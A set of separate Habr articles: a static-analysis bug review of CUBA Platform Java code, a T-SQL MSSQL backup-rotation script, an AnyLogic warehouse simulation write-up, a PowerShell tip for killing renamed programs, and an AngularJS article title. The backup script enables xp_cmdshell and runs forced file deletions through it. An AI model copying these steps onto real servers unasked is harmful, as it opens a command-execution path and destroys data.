[V6032](https://www.viva64.com/en/w/v6032/) It is odd that the body of method is fully equivalent to the body of another method. SearchComboBoxPainter.java(495), SearchComboBoxPainter.java(501)
```
private void paintBackgroundDisabledAndEditable(Graphics2D g) {
rect = decodeRect1();
g.setPaint(color53);
g.fill(rect);
}
private void paintBackgroundEnabledAndEditable(Graphics2D g) {
rect = decodeRect1();
g.setPaint(color53);
g.fill(rect);
}
```
Two more functions with suspiciously identical bodies. My guess is that one of them was meant to work with some other color instead of *color53*.
Null dereference
----------------
**Warning 1**
[V6060](https://www.viva64.com/en/w/v6060/) The 'descriptionPopup' reference was utilized before it was verified against null. SuggestPopup.java(252), SuggestPopup.java(251)
```
protected void updateDescriptionPopupPosition() {
int x = getAbsoluteLeft() + WIDTH;
int y = getAbsoluteTop();
descriptionPopup.setPopupPosition(x, y);
if (descriptionPopup!=null) {
descriptionPopup.setPopupPosition(x, y);
}
}
```
In just two lines, the programmer managed to write a highly suspicious piece of code. First the method *setPopupPosition* of the object *descriptionPopup* is called, and then the object is checked for *null*. The first call to *setPopupPosition* is probably redundant and potentially dangerous. I guess it results from bad refactoring.
**Warning 2**
[V6060](https://www.viva64.com/en/w/v6060/) The 'tableModel' reference was utilized before it was verified against null. DesktopAbstractTable.java(1580), DesktopAbstractTable.java(1564)
```
protected Column addRuntimeGeneratedColumn(String columnId) {
// store old cell editors / renderers
TableCellEditor[] cellEditors =
new TableCellEditor[tableModel.getColumnCount() + 1]; // <=
TableCellRenderer[] cellRenderers =
new TableCellRenderer[tableModel.getColumnCount() + 1]; // <=
for (int i = 0; i < tableModel.getColumnCount(); i++) { // <=
Column tableModelColumn = tableModel.getColumn(i);
if (tableModel.isGeneratedColumn(tableModelColumn)) { // <=
TableColumn tableColumn = getColumn(tableModelColumn);
cellEditors[i] = tableColumn.getCellEditor();
cellRenderers[i] = tableColumn.getCellRenderer();
}
}
Column col = new Column(columnId, columnId);
col.setEditable(false);
columns.put(col.getId(), col);
if (tableModel != null) { // <=
tableModel.addColumn(col);
}
....
}
```
This case is similar to the previous one. By the time the *tableModel* object is checked for *null*, it has already been accessed multiple times.
Another example:
* V6060 The 'tableModel' reference was utilized before it was verified against null. DesktopAbstractTable.java(596), DesktopAbstractTable.java(579)
Probably a logic error
----------------------
[V6026](https://www.viva64.com/en/w/v6026/) This value is already assigned to the 'sortAscending' variable. CubaScrollTableWidget.java(488)
```
@Override
protected void sortColumn() {
....
if (sortAscending) {
if (sortClickCounter < 2) {
// special case for initial revert sorting instead of reset sort order
if (sortClickCounter == 0) {
client.updateVariable(paintableId, "sortascending", false, false);
} else {
reloadDataFromServer = false;
sortClickCounter = 0;
sortColumn = null;
sortAscending = true; // <=
client.updateVariable(paintableId, "resetsortorder", "", true);
}
} else {
client.updateVariable(paintableId, "sortascending", false, false);
}
} else {
if (sortClickCounter < 2) {
// special case for initial revert sorting instead of reset sort order
if (sortClickCounter == 0) {
client.updateVariable(paintableId, "sortascending", true, false);
} else {
reloadDataFromServer = false;
sortClickCounter = 0;
sortColumn = null;
sortAscending = true;
client.updateVariable(paintableId, "resetsortorder", "", true);
}
} else {
reloadDataFromServer = false;
sortClickCounter = 0;
sortColumn = null;
sortAscending = true;
client.updateVariable(paintableId, "resetsortorder", "", true);
}
}
....
}
```
In the first condition, the variable *sortAscending* has already been assigned the value *true*, but it's still assigned the same value again later on. This must be a mistake, and the author probably meant the value *false*.
A similar example from a different file:
* V6026 This value is already assigned to the 'sortAscending' variable. CubaTreeTableWidget.java(444)
Strange return values
---------------------
**Warning 1**
[V6037](https://www.viva64.com/en/w/v6037/) An unconditional 'return' within a loop. QueryCacheManager.java(128)
```
public T getSingleResultFromCache(QueryKey queryKey, List views) {
....
for (Object id : queryResult.getResult()) {
return (T) em.find(metaClass.getJavaClass(), id, views.toArray(....));
}
....
}
```
The analyzer has detected an unconditional call to *return* at the very first iteration of a *for* loop. Either that line is incorrect or the loop should be rewritten as an *if* statement.
**Warning 2**
[V6014](https://www.viva64.com/en/w/v6014/) It's odd that this method always returns one and the same value. DefaultExceptionHandler.java(40)
```
@Override
public boolean handle(ErrorEvent event, App app) {
Throwable t = event.getThrowable();
if (t instanceof SocketException
|| ExceptionUtils.getRootCause(t) instanceof SocketException) {
return true;
}
if (ExceptionUtils.getThrowableList(t).stream()
.anyMatch(o -> o.getClass().getName().equals("...."))) {
return true;
}
if (StringUtils.contains(ExceptionUtils.getMessage(t), "....")) {
return true;
}
AppUI ui = AppUI.getCurrent();
if (ui == null) {
return true;
}
if (t != null) {
if (app.getConnection().getSession() != null) {
showDialog(app, t);
} else {
showNotification(app, t);
}
}
return true;
}
```
This function returns *true* in each case, while the last line obviously calls for *false*. It looks like a mistake.
Here's a full list of other similar suspicious functions:
* V6014 It's odd that this method always returns one and the same value. ErrorNodesFinder.java(31)
* V6014 It's odd that this method always returns one and the same value. FileDownloadController.java(69)
* V6014 It's odd that this method always returns one and the same value. IdVarSelector.java(73)
* V6014 It's odd that this method always returns one and the same value. IdVarSelector.java(48)
* V6014 It's odd that this method always returns one and the same value. IdVarSelector.java(67)
* V6014 It's odd that this method always returns one and the same value. IdVarSelector.java(46)
* V6014 It's odd that this method always returns one and the same value. JoinVariableNode.java(57)
**Warning 3**
[V6007](https://www.viva64.com/en/w/v6007/) Expression 'needReload' is always false. WebAbstractTable.java(2702)
```
protected boolean handleSpecificVariables(Map variables) {
boolean needReload = false;
if (isUsePresentations() && presentations != null) {
Presentations p = getPresentations();
if (p.getCurrent() != null && p.isAutoSave(p.getCurrent())
&& needUpdatePresentation(variables)) {
Element e = p.getSettings(p.getCurrent());
saveSettings(e);
p.setSettings(p.getCurrent(), e);
}
}
return needReload;
}
```
The function returns the *needReload* variable whose value is always *false*. Some code for changing that value is probably missing from one of the conditions.
**Warning 4**
[V6062](https://www.viva64.com/en/w/v6062/) Possible infinite recursion inside the 'isFocused' method. GwtAceEditor.java(189), GwtAceEditor.java(190)
```
public final native void focus() /*-{
this.focus();
}-*/;
public final boolean isFocused() {
return this.isFocused();
}
```
The analyzer has detected a recursive function with no stop condition. This file contains a lot of functions marked with the keyword *native* and containing commented-out code. The developers are probably rewriting this file now and will soon notice the *isFocused* function too.
Miscellaneous
-------------
**Warning 1**
[V6002](https://www.viva64.com/en/w/v6002/) The switch statement does not cover all values of the 'Operation' enum: ADD. DesktopAbstractTable.java(665)
```
/**
* Operation which caused the datasource change.
*/
enum Operation {
REFRESH,
CLEAR,
ADD,
REMOVE,
UPDATE
}
@Override
public void setDatasource(final CollectionDatasource datasource) {
....
collectionChangeListener = e -> {
switch (e.getOperation()) {
case CLEAR:
case REFRESH:
fieldDatasources.clear();
break;
case UPDATE:
case REMOVE:
for (Object entity : e.getItems()) {
fieldDatasources.remove(entity);
}
break;
}
};
....
}
```
The *switch* statement has no case for the value *ADD*. It's the only value that's not being checked, so the developers should take a look at this code.
**Warning 2**
[V6021](https://www.viva64.com/en/w/v6021/) Variable 'source' is not used. DefaultHorizontalLayoutDropHandler.java(177)
```
@Override
protected void handleHTML5Drop(DragAndDropEvent event) {
LayoutBoundTransferable transferable = (LayoutBoundTransferable) event
.getTransferable();
HorizontalLayoutTargetDetails details = (HorizontalLayoutTargetDetails) event
.getTargetDetails();
AbstractOrderedLayout layout = (AbstractOrderedLayout) details
.getTarget();
Component source = event.getTransferable().getSourceComponent(); // <=
int idx = (details).getOverIndex();
HorizontalDropLocation loc = (details).getDropLocation();
if (loc == HorizontalDropLocation.CENTER
|| loc == HorizontalDropLocation.RIGHT) {
idx++;
}
Component comp = resolveComponentFromHTML5Drop(event);
if (idx >= 0) {
layout.addComponent(comp, idx);
} else {
layout.addComponent(comp);
}
if (dropAlignment != null) {
layout.setComponentAlignment(comp, dropAlignment);
}
}
```
The variable *source* is declared but not used. Perhaps the authors forgot to add *source* to *layout*, just like it happened with another variable of this type, *comp*.
Other functions with unused variables:
* V6021 Variable 'source' is not used. DefaultHorizontalLayoutDropHandler.java(175)
* V6021 The value is assigned to the 'r' variable but is not used. ExcelExporter.java(262)
* V6021 Variable 'over' is not used. DefaultCssLayoutDropHandler.java(49)
* V6021 Variable 'transferable' is not used. DefaultHorizontalLayoutDropHandler.java(171)
* V6021 Variable 'transferable' is not used. DefaultHorizontalLayoutDropHandler.java(169)
* V6021 Variable 'beanLocator' is not used. ScreenEventMixin.java(28)
**Warning 3**
[V6054](https://www.viva64.com/en/w/v6054/) Classes should not be compared by their name. MessageTools.java(283)
```
public boolean hasPropertyCaption(MetaProperty property) {
Class declaringClass = property.getDeclaringClass();
if (declaringClass == null)
return false;
String caption = getPropertyCaption(property);
int i = caption.indexOf('.');
if (i > 0 && declaringClass.getSimpleName().equals(caption.substring(0, i)))
return false;
else
return true;
}
```
The analyzer has detected a class comparison by name. It's incorrect to compare classes by name as, according to the specification, the names of JVM classes must be unique only within a package. Such a comparison yields incorrect results and leads to executing the wrong code.
Comment by CUBA Platform developers
-----------------------------------
*Any large project surely has bugs in it. Knowing that, we gladly agreed when the PVS-Studio team offered to check our project. The CUBA repository contains forks of some of the third-party OSS libraries licensed under Apache 2, and it looks like we should pay more attention to that code as the analyzer found quite a number of problems in those sources. We currently use SpotBugs as our primary analyzer, and it fails to notice some of the big bugs reported by PVS-Studio. It seems we should write some additional diagnostics ourselves. Many thanks to the PVS-Studio team for the job.*
The developers also told us that the warnings V6013 and V6054 were false positives; it was their conscious decision to write that code the way they did. The analyzer is designed for detecting suspicious code fragments, and the probability of finding genuine bugs varies across different diagnostics. Such warnings, however, can be easily handled using the special [mass warning suppression](https://www.viva64.com/en/m/0032/) mechanism without having to modify the source files.
Also, the PVS-Studio team cannot take no notice of the phrase «it seems we should write some additional diagnostics ourselves» and do without this picture :)
Conclusion
----------
PVS-Studio can be a perfect complement to existing quality-control tools used in your development process. It's especially true for companies with dozens, hundreds, or thousands of developers. PVS-Studio is designed not only to detect bugs but also to help you fix them, and what I mean by that is not automatic code editing but reliable means of code quality control. In a large company, it's impossible for every developer to check their respective parts of the code with different tools, so a better solution for such companies would be to adopt tools like PVS-Studio, which provide code quality control at every development stage, not only on the programmer side. | https://habr.com/ru/post/449020/ | null | en | null |
# Архивация баз данных Microsoft SQL Server
По долгу службы сталкиваюсь с серверами баз данных MSSQL. Часто необходимо быстро настроить архивацию БД, на тестовых серверах, да и в продакшене. При этом в сети можно найти много разрозненных односложных источников, как надо или не надо архивировать, но нигде нет каких то более или менее универсальных готовых решений. На новом месте работы опять столкнулся с данной проблемой. В силу определенных причин все БД в компании (пока) находятся в режиме простой модели восстановления, потому решение, приведенное в тексте является не полным, но судя по вопросам на форумах, начинающим и просто разработчикам и администраторам, далеким от данных задач, вполне подойдет как решение, ну а в процессе каждый может дополнить его сам.
Скрипт выполняет архивацию указанных БД учитывая, по каким дням недели делать полные копии, сколько хранить последних полных и разностных архивов. Предназначен для архивации баз данных с простой моделью восстановления, если вам необходимо архивировать ещё и логи, то по аналогии вполне можете дополнить скрипт сами. Возможно, когда мне понадобится, я допишу данный скрипт. По окончанию архивации устаревшие архивы БД удаляются с диска.
Данный код можно сразу добавить в назначенное задание и запускать его раз в сутки или чаще, кому как нравится, при этом установив некоторые параметры, скрипт достаточно прокомментирован, остановлюсь лишь вкратце:
Указываем пути, где будем хранить наши архивы, в момент запуска архивации в данных папках создадутся подпапки по каждой архивируемой БД:
```
-- пути до бэкапов
declare @FullPath varchar(500) = 'D:\Work\Full'
declare @DiffPath varchar(500) = 'D:\Work\Diff'
```
Если не указываем список конкретных БД в @IncludeBase для архивации, то берутся все БД и из них исключаются базы указанные в @ExcludeBase:
```
-- архивируемые и исключенные из архивации БД
declare @IncludeBase varchar(500) = '' -- если не пусто, то только эти минус исключенные, если пусто то все минус исключенные
declare @ExcludeBase varchar(500) = 'master, model, tempdb'
```
Тут укажем через запятую дни недели для полных архивов:
```
-- дни недели для полных бэкапов
declare @FullDay varchar(13) = '7'
```
Сколько последних копий для каждого типа архивов оставлять на диске:
```
-- сколько минимум хранить архивов
declare @MinFull int = 3
declare @MinDiff int = 3
```
При работе скрипта на сервере включается сжатие архивов и возможность запуска процедуры xp\_cmdshell. У службы должны быть права на чтение/запись/удаление в каталоги с архивами.
Текст скрипта:
```
-- пути до бэкапов
declare @FullPath varchar(500) = 'D:\Work\Full'
declare @DiffPath varchar(500) = 'D:\Work\Diff'
-- архивируемые и исключенные из архивации БД
declare @IncludeBase varchar(500) = '' -- если не пусто, то только эти минус исключенные, если пусто то все минус исключенные
declare @ExcludeBase varchar(500) = 'model, tempdb'
-- дни недели для полных бэкапов
declare @FullDay varchar(13) = '7'
-- сколько минимум хранить архивов
declare @MinFull int = 3
declare @MinDiff int = 3
-- включим сжатие
EXEC sp_configure 'show advanced options', 1; EXEC sp_configure 'backup compression default', 1; RECONFIGURE WITH OVERRIDE;
-- включим xp_cmdshell
EXEC sp_configure 'show advanced options', 1; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE WITH OVERRIDE;
set datefirst 1
declare @tempcmd varchar(500) =''
declare @tempname varchar(500) =''
-- создание путей
set @tempcmd= 'md '+@FullPath
exec xp_cmdshell @tempcmd, no_output
set @tempcmd= 'md '+@DiffPath
exec xp_cmdshell @tempcmd, no_output
-- определяем список БД для архивации
declare @BaseListIncl table (name varchar(200))
declare @BaseListExcl table (name varchar(200))
if @IncludeBase=''
insert into @BaseListIncl select name from sys.databases where state_desc='ONLINE'
else
while len(@IncludeBase)>0
begin
if CHARINDEX (',',@IncludeBase)>0
begin
insert into @BaseListIncl select name from sys.databases where state_desc='ONLINE' and name = SUBSTRING(@IncludeBase,1, CHARINDEX (',',@IncludeBase)-1)
set @IncludeBase=LTRIM(RTRIM(SUBSTRING(@IncludeBase,CHARINDEX (',',@IncludeBase)+1, LEN(@IncludeBase))))
end
else
begin
insert into @BaseListIncl select name from sys.databases where state_desc='ONLINE' and name = @IncludeBase
set @IncludeBase=''
end
end
if @ExcludeBase=''
insert into @BaseListIncl select name from sys.databases where state_desc='ONLINE'
else
while len(@ExcludeBase)>0
begin
if CHARINDEX (',',@ExcludeBase)>0
begin
insert into @BaseListExcl select name from sys.databases where state_desc='ONLINE' and name = SUBSTRING(@ExcludeBase,1, CHARINDEX (',',@ExcludeBase)-1)
set @ExcludeBase=LTRIM(RTRIM(SUBSTRING(@ExcludeBase,CHARINDEX (',',@ExcludeBase)+1, LEN(@ExcludeBase))))
end
else
begin
insert into @BaseListExcl select name from sys.databases where state_desc='ONLINE' and name = @ExcludeBase
set @ExcludeBase=''
end
end
-- итоговый список БД для архивации
delete from @BaseListIncl
where name in (select name from @BaseListExcl)
declare BaseList cursor for
select name from @BaseListIncl
declare @BaseName varchar(500) =''
-- проверяем, какой сегодня нам создать архив
declare @type bit = 0
declare @notexistfull bit = 0
if CHARINDEX(CAST(DATEPART(weekday,getdate()) as varchar(1)),@FullDay)>0
set @type=1
open BaseList
fetch next from BaseList into @BaseName
while @@FETCH_STATUS = 0
begin
-- проверяем, есть ли хоть один полный бэкап для БД
if EXISTS (SELECT * FROM msdb.dbo.backupset s
INNER JOIN msdb.dbo.backupmediafamily mf ON s.media_set_id = mf.media_set_id
WHERE s.database_name=@BaseName and s.TYPE='D' )
set @notexistfull=0 else set @notexistfull=1
--создаем папку для БД
if @type=1 OR @BaseName='master' OR @notexistfull=1 set @tempcmd= 'md '+@FullPath+'\'+@BaseName else set @tempcmd= 'md '+@DiffPath+'\'+@BaseName
exec xp_cmdshell @tempcmd, no_output
if @type=1 OR @BaseName='master' OR @notexistfull=1
begin
-- full backup
set @tempname = @FullPath+'\'+@BaseName+'\'+@BaseName+'_'+CONVERT(varchar(8), GETDATE(), 112)+ '-' + REPLACE(CONVERT(varchar, GETDATE(),114),':','') +'.FULL'
backup database @BaseName to disk = @tempname
end
else
begin
-- diff backup
set @tempname = @DiffPath+'\'+@BaseName+'\'+@BaseName+'_'+CONVERT(varchar(8), GETDATE(), 112)+ '-' + REPLACE(CONVERT(varchar, GETDATE(),114),':','') +'.DIFF'
backup database @BaseName to disk = @tempname with differential
end
-- удаляем лишние бэкапы
declare @delpath varchar(500)=''
declare delbackup cursor for
SELECT mf.physical_device_name
FROM msdb.dbo.backupset s
INNER JOIN msdb.dbo.backupmediafamily mf ON s.media_set_id = mf.media_set_id
WHERE s.database_name=@BaseName and s.TYPE='D'
and not s.backup_set_id in
(
SELECT TOP (@MinFull) s.backup_set_id FROM msdb.dbo.backupset s
INNER JOIN msdb.dbo.backupmediafamily mf ON s.media_set_id = mf.media_set_id
WHERE s.database_name=@BaseName and s.TYPE='D'
ORDER BY s.backup_finish_date desc
)
union all
SELECT mf.physical_device_name
FROM msdb.dbo.backupset s
INNER JOIN msdb.dbo.backupmediafamily mf ON s.media_set_id = mf.media_set_id
WHERE s.database_name=@BaseName and s.TYPE='I'
and not s.backup_set_id in
(
SELECT TOP (@MinDiff) s.backup_set_id FROM msdb.dbo.backupset s
INNER JOIN msdb.dbo.backupmediafamily mf ON s.media_set_id = mf.media_set_id
WHERE s.database_name=@BaseName and s.TYPE='I'
ORDER BY s.backup_finish_date desc
)
open delbackup
fetch next from delbackup into @delpath
while @@FETCH_STATUS = 0
begin
set @tempcmd= 'del /f /q '+QUOTENAME(@delpath,'"')
exec xp_cmdshell @tempcmd, no_output
fetch next from delbackup into @delpath
end
close delbackup
deallocate delbackup
fetch next from BaseList into @BaseName
end
close BaseList
deallocate BaseList
-- чистим в MSDB информацию о старых архивах (свыше 120 дней)
declare @oldest DATETIME
SET @oldest = DATEADD(DAY, -120, GETDATE())
EXEC msdb.dbo.sp_delete_backuphistory @oldest_date = @oldest
```
Данный скрипт написан под конкретные задачи, обсуждать, что в продакшене так нельзя и прочее думаю не имеет смысла, публикуется с целью дать возможность неподготовленным людям получить готовое решение.
Добавлю из замечания пользователя [ideatum](https://habrahabr.ru/users/ideatum/), что процедура xp\_cmdshell по умолчанию отключена в Microsoft SQL Server, по соображениям безопасности.
UPDATE
Скрип доработан для создания полного бэкапа для БД при запуске, если он отсутсвует, даже если сегодня не день для его создания
UPDATE2
Добавлена проверка на состояние БД (ONLINE) | https://habr.com/ru/post/316658/ | null | ru | null |
# Имитационная модель логистического центра
Предлагаю вниманию хабрапользователей небольшую статью, описывающую практическую сторону применения такой области, как имитационное моделирование.
#### Постановка задачи (описание процесса)
В логистический центр по согласованному с поставщиком календарю поставок прибывает известное количество товаров одного типа. При переполнении склада заявка на поставку товаров заведомо отменяется. Товар поступает, хранится и передается в розничную точку продаж в упаковках по 8 шт. По прибытию машину встречает сотрудник центра (кладовщик), проверяет наличие необходимой сопроводительной документации, актов соответствия/качества, первичной бухгалтерской документации и сопровождает машину в зону разгрузки.
В зоне разгрузки кладовщик в присутствии экспедитора и при помощи погрузочного оборудования (электрический погрузчик) проводит прием и визуальный осмотр товара. Далее перемещает его в зону входного контроля. Специалист по качеству (контроллер) проводит входной контроль товара. При допуске, товары, при помощи специалиста по качеству, перемещаются в зону ожидания для дальнейшего размещения на стеллажах участка хранения. При обнаружении товара не соответствующего входным параметрам перемещает его в изолятор брака для осуществления дальнейшего возврата поставщику.
Комплектовщики при помощи погрузочного оборудования (электрический погрузчик) комплектуют в зоне отгрузки поставку в розничную точку продаж. Комплектация проводится при достижении остатка товара в розничной точке продаж точки восполнения запаса (точки перезаказа).
После комплектации стандартной партии отгрузки товар передается в точку розничных продаж для реализации.
Необходимо разработать модель представленного процесса для дальнейшего проведения оптимизационных экспериментов (например, определения точки перезаказа при условии отсутствия нулевого остатка в розничной точке продаж).
#### Исходные данные
**Ресурсы логистического центра**
| № | Ресурс | Количество | ЕИ | Сменность |
| --- | --- | --- | --- | --- |
| 1 | Кладовщик | 2 | чел. | 3 смены по 8 часов |
| 2 | Электрический погрузчик | 5 | шт. | 3 смены по 8 часов |
| 3 | Контроллер | 3 | чел. | 3 смены по 8 часов |
| 4 | Ячейки стеллажей участка хранения | 120 | ячеек | |
**Длительность операций**
| № | Операция | Длительность, мин. |
| --- | --- | --- |
| 1 | Разгрузка машины | От 15 до 30, в среднем 21 |
| 2 | Входной контроль | От 4 до 11, в среднем 11 |
**Параметры функционирования розничной точки продаж**
| № | Параметр | Значение | ЕИ | Примечание |
| --- | --- | --- | --- | --- |
| 1 | Текущий спрос | 40 | шт. | 1 раз в час |
| 2 | Точка перезаказа | 500 | шт. | |
| 3 | Количество товаров поступающих в 1 упаковке | 8 | шт. | |
**Реализация**
В качестве инструмента для разработки выбран программный продукт [AnyLogic (v.7.0.2)](http://www.anylogic.ru/).
**Описание классов активного объекта**
| № | Класс | Описание |
| --- | --- | --- |
| 1 | Warehouse | Основной активный класс модели, содержащий в себе
остальные классы;
Отражает диаграмму поведения и презентацию модели склада; |
| 2 | LogisticsMap | Вложенный активный класс модели, содержащий в себе
диаграмму поведения
взаимодействия слада и розничной точки, а так же
поведение розничной точки продаж; |
| 3 | Box | Тип заявки товара;
Содержит в себе презентацию заявки Box; |
| 4 | Track | Тип заявки машины поставляющей товар;
Содержит в себе презентацию заявки Track; |
| 5 | Lorry | Тип заявки машины доставляющей товар в розничную
точку продаж, а так же осуществляющей возврат не
прошедшего контроль товара поставщику;
Содержит в себе презентацию заявки Lorry; |
| 6 | Storekeeper | Тип агента;
Содержит в себе презентацию ресурса «storekeeper»; |
| 7 | Loader | Тип агента;
Содержит в себе презентацию ресурса «loader»; |
| 8 | Controller | Тип агента;
Содержит в себе презентацию ресурса «controller»; |
| 9 | Shop\_1 | Тип агента;
Содержит в себе презентацию ресурса «shop\_1»
имитирующего в модели розничную точку продаж; |
При помощи диаграммы дискретно-событийного моделирования разработана модель функционирования логистического центра
**Описание основных блоков модели**
| № | Блок | Описание |
| --- | --- | --- |
| 1 | SourceBox | Перед каждым шагом модели подсчитывает кол-во свободных ячеек
в зоне хранения;
На каждом шаге модели генерирует заявки класса Box; |
| 2 | selectFreeCell | Переключатель. Анализирует рассчитанные свободные ячейки
и при отсутствии свободных отправляет заявки на уничтожение в блок
«cancellationRequests» |
| 3 | batchTruck/
unbatchBox | Компонует/раскомпановывает указанное в календаре поставки
количество заявок типа «Box» в одну заявку типа «Track» для отражения
на презентации прибытия машины |
| 4 | seizeStorekeeper/
releaseStorekeeper | Захватывает/отпускает ресурс типа «storekeeper» отражая на
презентации взаимодействие кладовщика с машиной (встреча, сопровождение,
разгрузка);
После отпуска ресурс возвращается в базовый узел при условии отсутствия
других работ; |
| 5 | serviceUnload | Захватывает ресурс типа «loader» и перемещает его к заявке;
Проводит задержку, символизирующую разгрузку машины и проверку товара.
Задержка проводится посредством метода треугольного распределения
(triangular( 15, 21, 30 ));
Отпускает ресурс типа «loader»;
Отпущенный ресурс возвращается в базовый узел при условии отсутствия
других работ; |
| 6 | splitTruck | Создает копию заявки типа «Track» для дальнейшего отражения
выбытия машины в зону выхода на презентации. Потребность в этом
вызвана тем что при обратной раскомпановке заявки типа «Track» в заявки
типа «Box» заявка «Track» уничтожается; |
| 7 | seizeController/
releaseController,
releaseController1 | Захватывает/отпускает ресурс типа «controller» для отражения на
презентации перемещения контролера к заявке и возврата в базовый
узел при условии отсутствия других работ; |
| 8 | controll | Проводит задержку, символизирующую проведение входного контроля.
Задержка проводится посредством метода треугольного распределения
(triangular(4, 7, 11)); |
| 9 | admittance | Переключатель;
Определяет вероятность прохождения заявкой типа «Box» процесса
входного контроля;
Вероятность задана напрямую (0.107) |
| 10 | batchLorry | Компонует заданное количество заявок типа «Box» в заявку типа
«Lorry», символизируя комплектацию не прошедшего контроль товара
в машину для возврата поставщику; |
| 11 | queuePallete | Задерживает прошедшие входной контроль заявки типа «Box»
до появления свободного ресурса типа «loader» для перемещения
товара в ячейки зоны хранения; |
| 12 | palleteSystem | Объединяет стеллажи отраженные на презентации в единую систему хранения; |
| 13 | palleteStore | Захватывает любой свободный ресурс типа «loader» и присоединяет его к заявке;
Размещает заявку типа «Box» в свободной ячейке зоны «palleteSystem»
Отпускает ресурс типа «loader». Отпущенный ресурс возвращается в базовый узел
при условии отсутствия других работ; |
| 14 | hold | Блокирует дальнейшую передачу заявок типа «Box», если текущий остаток в
розничной точке продаж больше точки перезаказа. Достигается это путем вызова
методов «block()» и «unblock()» при входе заявки;
**код**
```
if (LogisticsMap.currentStock < LogisticsMap.reorder) {
hold.unblock();
} else {
hold.block();
}
```
|
| 15 | seizeLoaderPall/
releaseLoaderPall | Захватывает/отпускает ресурс типа «loader» для отражения на презентации
перемещения контролера к заявке и возврата в базовый узел при условии
отсутствия других работ; |
| 16 | palletePick | Извлекает заявку типа «Box» из зоны «palleteSystem» и перемещает ее
в зону отгрузки в розничную точку продаж; |
| 17 | batchLorry1 | Компонует заданное количество заявок типа «Box» в заявку типа «Lorry»,
символизируя погрузку машины для отгрузки в розничную точку продаж; |
| 18 | sink | Уничтожает заявку типа «Box»;
При входе запускает генерацию одной заявки типа «Agent» объектом
«sourceLorry» в активном классе «LogisticsMap» для отражения доставки
товара в розничную точку продаж;
Достигается это путем вызова метода «ручной» генерации заявок
**код**
```
logisticsMap.sourceLorry.inject(1)
```
|
Входной поток «SourceBox» управляется расписанием, формируемым из внешнего источника:
Аналогичным способом при помощи расписания «downtime» задается расписание перерывов работы ресурсов. Визуальное представления формируется при помощи инструмента разметки пространства:
**Описание областей разметки**
| № | Описание |
| --- | --- |
| 1 | Точка прибытия машин (заявок типа «Track») |
| 2 | Базовый узел расположения кладовщиков (заявок типа «Storekeeper») |
| 3 | Базовый узел расположения электрических погрузчиков (заявок типа «loader») |
| 4 | Точка выбытия машин (заявок типа «Track», в случаях возврата товара не прошедшего входной контроль поставщику — «Lorry») |
| 5 | Узел выгрузки товара и прохождения входного контроля |
| 6 | Базовый узел расположения контролеров (заявок типа «Controller») |
| 7 | Узел комплектации товаров не прошедших входной контроль |
| 8 | Узел ожидания погрузчика для размещения товара на стеллажах хранения |
| 9 | Зона хранения товара |
| 10 | Узел комплектации для отгрузки в точку розничных продаж |
| 11 | Узел выбытия товаров |
После прохождения объекта «sink» заявкой типа «Box» заявка уничтожается, а в активном классе «LogisticsMap» объектом «sourceLorry» генерируется заявка типа «Agent». Заявка перемещается по скрытым линиям разметки пространства к единственному ресурсу «Shop\_1» (рис. 4) отражающему точку розничных продаж.
При достижении ресурса, заявка типа «Agent» уничтожается объектом «sink», а текущий остаток точки розничных продаж увеличивается на заданное количество.
На презентации присутствует диаграмма, отражающая текущий остаток товара в розничной точке продаж.
При достижении нулевого остатка продажи в розничной точке приостанавливаются до следующей поставки. Функционал обеспечивает событие «sale» запускаемое с периодичностью 1 час.
Событие передает управление диаграмме действия:
Диаграмма, при наступлении события, анализирует текущий остаток (переменная «currentStock») относительно точки перезаказа (параметр «recorderPoint»). В случае превышения текущего остатка над точкой перезаказа, переменной, хранящей уровень текущего спроса (переменная «currentStock»), присваивается значение >0 и проводится реализация товара посредством уменьшения текущего остатка на уровень текущего спроса (currentStock- currentStock). В противном случае диаграмма переходит в следующий блок решения, в котором сопоставляется текущий остаток и уровень текущего спроса. В случае превышения текущего остатка над уровнем текущего спроса, переменной, хранящей уровень текущего спроса присваивается значение >0 и проводится реализация товара посредством уменьшения текущего остатка на уровень текущего спроса. В ином случае переменной, хранящей уровень текущего спроса присваивается значение 0, таким образом продажи приостанавливаются до восполнения потребности.
#### В качестве заключения
На текущем этапе построения модель достаточно общая, но вполне отражает процесс прохождения товара: от прибытия товара и размещения его на стеллажах участка хранения до передачи его в розничную точку продаж с последующей реализацией. Уже на данном этапе разработки модели можно выполнять эксперименты, оптимизируя точку перезаказа в целях стабилизации цепочки поставок. | https://habr.com/ru/post/254067/ | null | ru | null |
# PowerShell: машина vs человек
Некоторое время назад мне досталась по наследству ферма терминальных серверов. И руководство поставило мне задачу — искоренить skype, chrome, firefox и mail.ru агентов на всех терминальных серверах. Исторически сложилось так, что в компании используются тонкие клиенты и лишь у привилегированных пользователях есть полноценный ПК, и там разрешены вышеперечисленные программы, а на терминалах — ни-ни.
Я снес все программы, прикрутил AD политики, ограничивающие запуск заданных приложений и решил — что наверное это все. Но через день я обнаружил, что пользователи снова используют программы, но уже portable версии, а exe-файлы были переименованы в 123\*.exe Признаться я был удивлен, осведомленности и подготовленности пользователей.
Вопрос с закрытием интернета или запрещением абсолютно всех программ, кроме разрешенных не подходил в силу специфики конторы. Возник спортивный интерес и я решил использовать powershell:
1. определяем запущенные процессы
`get-process`
2. далее требуются только те, что нам интересны — тут обращаем внимание, на то что если процесс переименован в 123.exe и в писке процессов он так и будет висеть как 123, и это плохо, т.к. не понятно хороший это процесс или плохой, поэтому просматриваем поле описание — хоть файл skype и переименован в 123 и в процессах висит 123, но вот описание у него старое — skype…
`where-object { $_.Description -match 'skype' }`
3. останавливаем найденные процессы:
`Stop-Process -Force`
В сухом остатке имеем конструкцию вида:
`get-process | where-object { $_.Description -match "skype" } | Stop-Process -Force`
Можно поместить это в ps1-скрипт и прикрутить к чему либо, но тогда понадобится подписывать его или отключать требование безопасности — не запускать не подписанные скрипты.
Я поступил иначе — создал в планировщике задание, где указал запускать программу:
`C:\Windows\...\powershell.exe`
с параметром
`get-process | where-object { $_.Description -match 'skype' } | Stop-Process -Force`
В данном случае запуск происходит и не требуется подпись скрипта. Теперь задача может запускаться хоть каждую минуту и прибивать не желательные нам программы. А если добавить уточненную фильтрацию [к данному решению](http://social.technet.microsoft.com/Forums/ru-RU/scrlangru/thread/e8779e16-6b35-4f04-9300-d7658319b848/) — то вообще можно отучить пользователей от использования любых заданных программ во всем домене (без уточненного поиска, на переименованные файлы — не сработает). | https://habr.com/ru/post/120434/ | null | ru | null |
# Переход с AngularJS на Angular: цели, планы и правила переноса элементов (1/3)
